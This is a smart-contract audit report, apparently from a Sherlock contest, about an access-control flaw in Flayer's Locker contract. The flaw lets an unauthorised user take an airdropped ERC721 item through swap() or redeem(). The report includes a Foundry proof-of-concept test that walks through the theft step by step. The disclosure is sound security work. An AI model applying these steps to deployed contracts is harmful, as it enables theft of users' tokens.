ERC721 Airdrop item can be redeemed/swapped out by user who is not an authorised claimant
Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/124
Found by
h2134
Summary
ERC721 airdrop item can be redeemed/swapped out by user who is not an authorised claimant.
Vulnerability Detail
Locker contract owner calls requestAirdrop() to claim airdrop from external contracts. The airdropped items can be ERC20, ERC721, ERC1155 or Native ETH, and these items are only supposed to be claimed by authorised claimants.
Unfortunately, if the airdropped item is ERC721, a malicious user can bypass the restriction and claim the item by calling redeem() / swap(), despite they are not the authorised claimant.
Consider the following scenario:
- A highly valuable ERC721 collection item is claimed by Locker contract in an airdrop;
- Bob creates a collection in Locker contract against the this ERC721 collection;
- Bob swaps the airdropped item by using a floor collection item;
- By doing that, bob is able to claim the airdropped even if he is not the authorised claimant.
Please run the PoC in Locker.t.sol to verify:
function testAudit_RedeemAirdroppedItem() public {
// Airdrop ERC721
ERC721WithAirdrop erc721d = new ERC721WithAirdrop();
// Owner requests to claim a highly valuable airdropped item
locker.requestAirdrop(address(erc721d), abi.encodeWithSignature("claimAirdrop()"));
assertEq(erc721d.ownerOf(888), address(locker));
address bob = makeAddr("Bob");
erc721d.mint(bob, 1);
// Bob creates a Locker collection against the airdrop collection
vm.prank(bob);
address collectionToken = locker.createCollection(address(erc721d), "erc721d", "erc721d", 0);
// Bob swaps out the airdropped item
vm.startPrank(bob);
erc721d.approve(address(locker), 1);
locker.swap(address(erc721d), 1, 888);
vm.stopPrank();
// Bob owns the airdropped item despite he is not the authorised claimant
assertEq(erc721d.ownerOf(888), address(bob));
}
Impact
An airdropped ERC721 item can be stolen by malicious user, the authorised claimant won't be able make a claim.
Code Snippet
https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L198
https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L241
Tool used
Manual Review
Recommendation
Should not allow arbitrary user to redeem/swap the airdropped item.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A medium-severity access control bug in Flayer. Sherlock made it public on 10 October 2024. Found in the 468 audit contest (finding M-3).
About Access control
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.